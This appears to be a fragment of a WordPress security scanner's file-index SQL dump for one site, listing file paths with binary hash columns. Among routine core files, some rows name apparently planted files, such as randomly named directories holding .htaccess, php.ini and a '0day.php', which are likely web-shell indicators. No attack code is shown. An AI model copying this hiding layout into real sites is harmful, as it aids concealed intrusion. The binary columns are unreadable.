('b0݀>j\"G','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_ffffff_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_ffffff_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Aa+JD$2J','/#?TiOLyvuTKɤ\\ػ','',0,'?'),
('xS DF^*Yl','wp-includes/sitemaps/ubxnoaj/xwlk1ch/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('я7\r\'x','wp-content/themes/twentytwentyfour/patterns/template-archive-blogging.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-archive-blogging.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+YTʏBDF','4oz&e\"!}YBA&:V?4oX','',0,'?'),
('hܼ!\Zo','wp-content/themes/twentytwentyfour/assets/css/button-outline.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/css/button-outline.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڱڱDG]','Z\0ʜ{\Z:~C\'£wbHCB','',0,'?'),
('oV:NNg','wp-includes/Requests/src/Exception/Http/Status428.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status428.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/qxI圪P','<\Z4!n*\\U','',0,'?'),
('B$.-=Q6*','wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthSignatureMethod.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OAuth/OAuthSignatureMethod.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`JC;j?`/','4ZE =Vq<^ƙ{;\ZgTI','',0,'?'),
('O4%m','wp-content/themes/twentytwentyone/assets/sass/05-blocks/navigation/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/navigation/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k4#j\nc','n%akXEȭHȒwh','',0,'?'),
('sC<:<A','wp-includes/sodium_compat/src/Core/SecretStream/State.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/SecretStream/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':Z{5o','<s6\0,	RauhXc','',0,'?'),
('bH\nw>֔','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS/State256.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS/State256.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~qx\\8#','sbn+vjw\"#%','',0,'?'),
('QԴTR!<','wp-includes/html-api/class-wp-html-text-replacement.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-text-replacement.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MLjD_m̈:','--,t 	z-R8','',0,'?'),
(')[\"JH|jk$','wp-admin/js/customize-widgets.js','/home/trevorkl/trevorklee.com/wp-admin/js/customize-widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@lXV{:l','ubS&`\\ܝCұf=','',0,'?'),
('?FϸAR1','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Util.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Util.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pԏd0lN&7+','^s\n@G,ږ\n;|3P	nԔ/\rzA\"\nd','',0,'?'),
('JTV0DoTA［@','wp-admin/options-discussion.php','/home/trevorkl/trevorklee.com/wp-admin/options-discussion.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','upl\0OXxǕ','mBxIj(:XHja_p','',0,'?'),
('VQ\n-cEX','wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/0day.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/0day.php',0,'^ÌV7m','^ÌV7m','	7*[!(]>Mޘ|΄$t','',0,'?'),
('S8MC>','wp-includes/js/dist/block-serialization-default-parser.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-serialization-default-parser.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Wjvu.4','2%zuo:\n\'A\\eTU5l','',0,'?'),
('dD+P','wp-content/themes/twentytwenty/template-parts/modal-search.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/modal-search.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QSJTF','R~\'΅\r,_RnɠmyB','',0,'?'),
('?\':P\\	','wp-includes/blocks/site-tagline/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WA;䊹','Н<+[D\n4Hvֳ-;','',0,'?'),
('ShS%Tz','wp-includes/js/mediaelement/wp-mediaelement.css','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/wp-mediaelement.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%/NqORg+\\','F}\Z\nvn`Z!TWs','',0,'?'),
('H499;TJ','wp-includes/blocks/buttons/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('VϺz#m)','wp-content/themes/twentytwenty/footer.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/footer.php',0,'*щs46r\0','*щs46r\0','ҾDN#%\'tYJ)߇','',0,'?'),
('beent','wp-content/themes/twentytwentytwo/inc/patterns/page-layout-image-and-text.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-layout-image-and-text.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yXE-x6ԣs\0(','+.\0C.h<i,]x6?|','',0,'?'),
('Wd;C\rO','wp-content/plugins/akismet/views/notice.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/notice.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d\\{/oh.','vs\0#垪쨳S_vbUo	','',0,'?'),
('ˋ_o!\'ur','wp-content/plugins/wordfence/views/common/page-tabbar.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/page-tabbar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʑ]$0hW','ru}oM	q\'Jw','',0,'?'),
(';\n7ړ4t>J','wp-includes/blocks/post-date/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-date/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=aV','C`bH&2*6Թ(]3\\nڶ}','',0,'?'),
('Z\nuoK T;e','wp-admin/images/list.png','/home/trevorkl/trevorklee.com/wp-admin/images/list.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>*ӳS','\\wT[=baCk;c','',0,'?'),
('䏂VܤcQ\'3','wp-includes/blocks/comment-reply-link/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-reply-link/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~-o','qQ3N Ky֦ªP~a','',0,'?'),
('.Wt_D3','wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-poster.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-poster.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U/YG~eݺ','o@@Dԙ[϶0`\0>G]LM+','',0,'?'),
('4)tkl#<U','wp-includes/block-patterns/query-grid-posts.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-grid-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/0K\0FOKM','Q^D拜dt5TG)ˊh`e ','',0,'?'),
('	\"R$}G','wp-content/plugins/loginizer/readme.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%(/sk@y','\'\\\"=\0.RS=J¬_(t7so','',0,'?'),
('Uy/*%;','wp-admin/includes/update-core.php','/home/trevorkl/trevorklee.com/wp-admin/includes/update-core.php',0,'lUC`^ݲf','lUC`^ݲf','ۺjڵzιXL\"','',0,'0'),
('\rEU̈́','wp-includes/images/wpspin-2x.gif','/home/trevorkl/trevorklee.com/wp-includes/images/wpspin-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{%-E;|','u)JA92$N8\'F','',0,'?'),
('WP旃^qy','wp-content/plugins/wordfence/lib/menu_firewall.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|6 p紭 #','٬DVbmq\"SJ','',0,'?'),
('ｈa_~fmQ&','wp-includes/js/dist/script-modules/block-editor/utils/fit-text-frontend.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-editor/utils/fit-text-frontend.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W\\SK>:','D\rCHc9Fw7K1','',0,'?'),
('KdiM^y','wp-includes/js/dist/script-modules/block-library/form/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/form/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('OⱤy','wp-content/themes/twentytwentyfive/assets/images/malibu-plantlife.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/malibu-plantlife.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|M,G\'6%','}+FPbs<kO쟨yf$Һ','',0,'?'),
('fJQcclK1xGLR','wp-includes/css/dist/widgets/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/widgets/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('h/͔jC\0n','wp-admin/includes/class-plugin-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-plugin-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ƤtG@U','O|GJP{Cb<2j','',0,'?'),
('xW2euvL','wp-includes/customize/class-wp-customize-background-image-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-background-image-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1SDM{KC(1','M\nK6e@zMd׽Z%d	Xҁ','',0,'?'),
('|\'-\'n\'>','wp-content/themes/twentytwentyfive/assets/images/parthenon-square.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/parthenon-square.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%\0Xha-_','SZlJd>IO1q&=ϐ$','',0,'?'),
('6?^o#','wp-includes/sodium_compat/namespaced/Core/SipHash.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r-er^!~','`RlԥLz?iāACH󞮣Pyn','',0,'?'),
('R	(,	!)Z','wp-content/plugins/wordfence/waf/pomo/mo.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/pomo/mo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D6~.S[','\\\'_FuC)CR\"(COYW!)','',0,'?'),
('K}{XUG9<p','wp-content/themes/twentytwentyone/assets/sass/05-blocks/media-text/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/media-text/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tt[S:','x15Thy#cǿN5 f7','',0,'?'),
('&@pɗ','wp-includes/js/dist/wordcount.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/wordcount.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dQt\rZ!','hbTX_%	M3zK8RM','',0,'?'),
('{Z$\'Q','wp-content/plugins/wordfence/lib/wfScanMonitor.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanMonitor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0\'$','n&us%?3~X#WH*','',0,'?'),
('y$ip','wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/index.php',0,'BCɫ','BCɫ','?֮>f0p=gą^Tã','',0,'?'),
('spe','wp-admin/includes/class-wp-ms-sites-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-ms-sites-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dEl(;6/*A','M	-BjV:t;^fW/H','',0,'?'),
('@Pwy3Ks','wp-includes/blocks/site-tagline/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"r38ߟ','ŲuΑu- xmoC\0/#','',0,'?'),
('	ӭgȱ!nP','wp-includes/IXR/class-IXR-client.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-client.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aJ}!W','Yw1v.G3edÄy`LR	]','',0,'?'),
('ʜ\\\"z@*>\Z','wp-includes/blocks/site-tagline.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B-olY','pK12 m@т\'P','',0,'?'),
('\ni_a*>dnP','wp-includes/blocks/post-excerpt/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=u`6RB\'','X9s3|ya,[a1','',0,'?'),
('\rTX [','wp-includes/php-compat/readonly.php','/home/trevorkl/trevorklee.com/wp-includes/php-compat/readonly.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sga,','$S\nC+b,bTrQS9>','',0,'?'),
('KMAS%tLY','wp-content/plugins/loginizer/main/settings/social_login.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/settings/social_login.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ت(H_\'lϥ\\','pA$NV\".c#ڴx|,ڿaf','',0,'?'),
('-18;T/X]','wp-admin/ms-sites.php','/home/trevorkl/trevorklee.com/wp-admin/ms-sites.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f3&S7F76',',$yn)RHgh{$U','',0,'?'),
('?<[##6 :','wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/index.php',0,'J(.2w81','J(.2w81',';j\0\'O󅥱25~-\0','',0,'?'),
('K47\'Rh?','wp-content/themes/twentytwenty/readme.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_vCuq/hX-','1]q$>]2sS:tE','',0,'?'),
('S*/iH=g','wp-includes/blocks/term-count/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-count/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5s2V','+{CP4NT`aߧ+`UeA','',0,'?'),
('[k5f/u0','wp-includes/blocks/post-author-name/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-name/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q׊TblG','7.\"𜒸\\;j-h|_%','',0,'?'),
('jDJ^*C5','wp-includes/html-api/knojvbd/lyuifac/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('j<MDd4m','wp-admin/includes/ms-admin-filters.php','/home/trevorkl/trevorklee.com/wp-admin/includes/ms-admin-filters.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʊ_\\h\ZE','5GF[PrT\'xOQ1ANHdw\\','',0,'?'),
('ԐfW\"N','wp-content/themes/twentytwentytwo/inc/patterns/query-image-grid.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-image-grid.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yI?؎VtCi}','ɑs/3%Iuw|SL','',0,'?'),
('Ρ~ߓ:eo','wp-content/plugins/wordfence/images/icons/tick128.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/tick128.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ğch4\"','V}X e~G[C峆5','',0,'?'),
('р͉+j`_','wp-content/themes/twentytwentyfour/patterns/gallery-project-layout.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-project-layout.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')Ā?49#]\'\0','6>8R}+{-S\"E','',0,'?'),
('Λ\\Lp','wp-includes/blocks/comment-content/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-content/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nFMj\Z','f!v}>CNM\0I7\"\"8IT','',0,'?'),
('(觨:pR/','wp-includes/class-walker-nav-menu.php','/home/trevorkl/trevorklee.com/wp-includes/class-walker-nav-menu.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!E\r+\r','&0eͥ_O`E*9','',0,'?'),
('掸.\"<','wp-content/themes/twentytwentyfour/patterns/posts-list.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-list.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4zD$95',')y$63A4\n<Aa[R','',0,'?'),
(')vN7p.S+','wp-content/themes/twentytwentytwo/inc/patterns/page-layout-two-columns.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-layout-two-columns.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\Xiiz{k','}p=^HD EDfTװLz,','',0,'?'),
('(5aHyo,X','wp-includes/js/jquery/ui/tabs.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/tabs.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%	EݘI\rmkF','\\E	xy@n6*mTk\'>,U','',0,'?'),
('&:5r\r$','wp-content/plugins/header-footer-code-manager/uninstall.php','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/uninstall.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L9O8\'S4i|','5@;dUSr\07.C','',0,'?'),
('_H\",]q^@C','wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('s	ؤ','wp-includes/class-wp-http.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tb!KVO','3B@#i:^Vung0|)eL8W[','',0,'?'),
('/7ñcxpg','wp-content/plugins/wordfence/views/onboarding/fresh-install.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/onboarding/fresh-install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h+jߙFoa)','r\"W&FxVh*%!\"QZ','',0,'?'),
('ڥ^i$&','wp-content/plugins/wordfence/lib/wfCredentialsController.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCredentialsController.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' q\0$B>ѓ','XCNq|\\^Cr8W&(\Z|ʧ+','',0,'?'),
('$͓bHn,\0-','wp-includes/images/smilies/icon_confused.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_confused.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/#	Ӣww$x꾓Y','U0\\LXfXƦG\0T$a5UB','',0,'?'),
('(emoآ2;','wp-content/plugins/simpletoc/assets/accordion.css','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/assets/accordion.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K}\n=E03','#9:d[f!6','',0,'?'),
('-췓9ExZ','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/constants.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/constants.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XwTgA}\n','kcQxe˳`=n6X5ydz5u]WB\'','',0,'?'),
('H{Wro{\\','wp-content/themes/twentytwentyfive/assets/images/category-anthuriums.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/category-anthuriums.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&7*q	oyN\\','t;B,t7ԫVd\\,VOp<kVG','',0,'?'),
('NZNDN>Y	','wp-includes/js/dist/components.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/components.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E-:dŅ','u[M\ZGܯmEQ%TI<!','',0,'?'),
('SG.6pjE','wp-includes/js/dist/private-apis.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/private-apis.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_6E俕w%t','`A8ќawJ[s','',0,'?'),
('s$lAF-^','wp-includes/blocks/group/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\	ʝ=fZ9U','\ri$y+h?j魾\Zb3sJ)','',0,'?'),
('{4.##','wp-content/plugins/wordfence/modules/login-security/classes/controller/support.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/support.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','؁lѷpP','빓D\\AQ1|ӝ9\rRS2|+C\'','',0,'?'),
('ܰ_~h	sc','wp-includes/blocks/spacer/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','64g1)b','SWli\"k0ML[T','',0,'?'),
('c1;!oe','wp-includes/blocks/post-author/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','եb*(J2M','D3-NOx(\0@zxd\'pED\0','',0,'?'),
('Nnqћl?','wp-includes/blocks/post-comments-link/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-link/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j\nz','\'N2Yly7xHy|','',0,'?'),
('pBr\0U	BR','wp-includes/blocks/require-dynamic-blocks.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/require-dynamic-blocks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pjzy(','t\n2\"yM;+\'ڭ308;','',0,'?'),
('뻛Ib,6Y+8:','wp-content/themes/twentynineteen/sass/typography/_copy.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/typography/_copy.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZTz[|]','	Ac5Lc9ĞFLxöCy4','',0,'?'),
('v\'j@-*','wp-includes/widgets/class-wp-widget-media-gallery.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media-gallery.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':cb\"/[y','A@I3ty[gq\n\r83V','',0,'?'),
('d&m	02','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A\'{輔w8','qzװ%7	f','',0,'?'),
('TŏnyA(o8','wp-content/plugins/akismet/views/setup-jetpack.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/setup-jetpack.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ck1X4bV','dԂJ!mPrl^,r,J&\r','',0,'?'),
('X-Of','wp-includes/blocks/nextpage/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/nextpage/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ei@FF\Z','-!`,#ál៳DTD	v8=Y5F','',0,'?'),
('\n]Eg7Oqb','wp-includes/sitemaps/class-wp-sitemaps-registry.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/class-wp-sitemaps-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S$\nX\'(','a:!XA2Y[n\ne,ASI$.','',0,'?'),
('njP+','wp-admin/includes/class-custom-image-header.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-custom-image-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I}.>&8.DA#WJ','#Nb(6Jr>h','',0,'?'),
('\ZBi/6','wp-includes/js/jquery/ui/effect-clip.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-clip.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"uR~p','^%Dl\\Bpo%0*','',0,'?'),
('3ƿgF	/Ɋ9d','wp-content/plugins/simpletoc/build/block.json','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/build/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k4Q+Z','?Z+\"q~ѱЎjW\'.ypa','',0,'?'),
('8u7h@jx\"5','wp-includes/class-wp-block-template.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l<Zr\rc%',':[#d5PN5\Znlo','',0,'?'),
('LyE{f','wp-includes/css/dashicons.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dashicons.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lP\'áiΥe(','?-\0ctC56ӈ#','',0,'?'),
('L!Eg','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-7.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-7.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5\'e[>x>','AFQ*b23\\ON[U','',0,'?'),
('gbf\r\Zъ','wp-includes/blocks/rss/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$\\W%^C)t sq','Ss1Nl\Z̧n[)(4\re','',0,'?'),
('j14n#fL','wp-includes/l10n/class-wp-translation-file.php','/home/trevorkl/trevorklee.com/wp-includes/l10n/class-wp-translation-file.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(k^qS2?','T@~.~}G1	WZo[Ś}w?','',0,'?'),
('kULǡ$','wp-admin/ms-users.php','/home/trevorkl/trevorklee.com/wp-admin/ms-users.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','³u~]*Cu\0','es}k_q}~G[5Qu!','',0,'?'),
('o/Nt$$|','wp-content/themes/twentytwentyone/assets/sass/05-blocks/code/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/code/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	RXjJwE','OVPKLѐ(Е#uu.','',0,'?'),
('rn`	m$\0V','wp-includes/blocks/media-text/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Jgweޝf\\','uQ/Ma-@=!*','',0,'?'),
('=-Xԍn{]pf','wp-includes/js/wp-embed-template.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-embed-template.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f%W^my4$',')Ar\rt@jY','',0,'?'),
